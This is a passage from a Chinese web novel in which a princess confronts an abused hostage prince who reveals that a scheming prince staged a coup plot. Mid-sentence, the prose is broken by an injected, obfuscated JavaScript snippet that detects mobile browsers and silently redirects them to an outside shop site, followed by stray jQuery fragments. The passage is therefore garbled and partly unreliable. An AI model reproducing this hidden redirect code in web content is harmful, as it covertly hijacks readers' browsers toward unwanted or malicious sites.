她没能记住他的容貌,可那一头干枯蓬乱的头发与雕梁画栋方枘圆凿,尤其临走时狠毒地剜她的那一眼,让她很难忘记。
“你是……西魏皇子?”开口时,她终是没有说出那个刺痛他身份的词语。
瘦小的小孩身量不及晏笙高,站的前近前明显,他只能仰起小脸跟晏笙说话。
面颊凹陷,布满皲裂的红痕,骨骼轮廓像刀刻斧凿。乱发间眼神却森然不回避,透着畸零的倔屈强,直视晏笙。
“我不叫小鬼,也不叫皇子,我有名字,我叫元灏。"
“元灏?”
晏笙低眉看着他,仔细看才发现,他的眼窝深邃,瞳仁泾渭分明间又染上一层淡淡幽碧,骨相是典型的西魏武士雏形,瞳色却掺杂了更北边蛮荒部落的异彩。
“你看什么看?”那双微绿的瞳孔冷不丁瞪她,很像狼崽,看得晏笙慌忙移开目光去。
元灏抬起脏兮兮的袖子,抹了一把冻红鼻尖下冒出来的清涕,“喂,你就是陈国长公主?"
“是啊,你这个小鬼……”明明混成这副落魄样子,还不懂得尊重人。
小鬼浑身带刺,又瞪她。
“……元灏。”
“你这个蠢货!”
“你说什么?”晏笙有了愠色,却不能拿他怎么样,吓是吓不住他,只能压抑住怒火:“你好好说话。”
元灏伸出一直缩在葛麻窄袖里的手臂,凑到晏笙面前,上面触目惊心的鞭便痕纵横交错,有些来不及结痂,伤口处生着孩人的冻疮。
“看吧,这些都是拜你所赐!"
“你……”晏笙不明就里:“谁伤的你?”
“你是问动手的人?”元灏把衣袖抖下来,仿佛那些伤痕和疼痛都不是自己的。“一群喽啰,听哨声咬人,不值一提。
“但下旨打人的,是河间王陈护。"
晏笙眼前浮现出夜色火光下,城墙上,陈护用佩刀刀刃抵在元灏颈前。
小小的孩子,脖颈被架起,身子蜷起来,不及刀身长。面部被夜色模糊不清,只有刀刃雪亮、朔风凛冽。
再惊惧,也要被推到三军面前献祭,不容反抗。
那一晚,他一定也吓着了,所以才会用那样怨毒的眼神看她……
可是他明明已为河间王做了筏子,事后为什么还要打他呢?
晏笙凝视身前的小孩,偶然看见他脖颈下也隐隐藏着伤痕,蜿蜒到破烂脏污的麻衣里。
她不禁伸手,柔软的指尖将要触及嶙峋的锁骨,元灏朝后缩了一下,憎恶地打掉她的手。
她才意识到此举不妥,想必破坏了他的自尊,可一想到他遍体鳞伤,又隐隐心疼。
“他为何打你?我宫里有金创药,要给你取一些吗?”
元灏摇头,鄙夷地说:“这些伤可都是我的庇护伞,只盼永远也好不了,就不会多添新的了。”
“至于他们为什么打我,”他冷笑,一双碧眼未及入世就已参破世态炎凉:“气闷了、受挫了,多的是理由,有时候,也许根本不需要理由。”
“那你为何说……说是拜我所赐?”
“你是真傻还是装傻?难道看不出来,西魏军士是在配合陈护演戏吗?”元灏不耐,长而蓄满污泥的指甲隔着衣袖,烦躁地抠抓皮肉。
“别抓,伤口结痂前是会有些痒,抓破了更不容易好。”晏笙说。
元灏倒是听从了她的建议,停下动作,意外又探究地看着她。
“……晏笙,你这个蠢货。”这是他得出的结论。
“你!”
“你不明状况就戴甲冲上来,以为自己很英勇,其实,你就是个蠢货!”他毫不改口,咄咄逼人,那满身的伤也许就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914415|213268||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是这么来的。
“那晚陈护本来是要勾结外敌逼宫叛国的,你闯进来,打乱了他的计划。"元灏阴险地说,有些看热闹的得意。
“你说什么?”晏笙睁着清澈的眼睛,一时纷乱,难以置信。
“你再想想,那晚对敌,除了河间王陈护,还有谁在?”他毫不客气地加重压在她心上的沉石。
还有谁在……是她的舅舅,骠骑大将军杜铭。
晏笙的心更乱了,激湍中涌起漩涡。
“对,是杜大将军。因为沾着一个‘杜’字,陈护顾及你杜氏甥女和长公主的身份,怕即便荣登大宝也民心尽丧。两难之际,我毛遂自荐,请他把刀架在我的脖子上。”
“你、你竟是自愿的?”
“有什么奇怪?魏国国君不要我,陈国人也尽拿我出气,我只是想借机证明自己对河间王有用,以此过得好一些。”他说着,渐渐落寞下去,眼中凉色愈深,生出怨恨:“用我的时候毫不顾惜,用过即弃。后来他们打了我,用暴力让我惧怕、屈服,永远当他们锁链下不敢叫的狗。”
他咬牙切齿:“陈国人皆是虎豹材狼,没一个好种。”
浑然不在意,他面前就站着一位陈国的长公主。
晏笙还停留在乍闻阴谋的错愕里,是时稍稍厘清,颤声道:“那魏军最后匆匆撤兵,也不是因为你,而是……就像你说的,配合这一出戏谢幕?”
“算你长了些脑子。”
晏笙胆寒:“你、你切莫乱说,传出去,可是诬告乃至欺君的大不敬之罪。”
“我会怕你们君主?”元灏嗤之以鼻:“半截身子入土的昏聩之辈。在陈国,谁杀我都像捏死一只蚂蚁一样容易,我死都不怕,又会怕谁?”
晏笙不肯再和他说下去,这破罐子破摔的狂悖气势,焉知还会从他嘴里冒出什么凶险的话。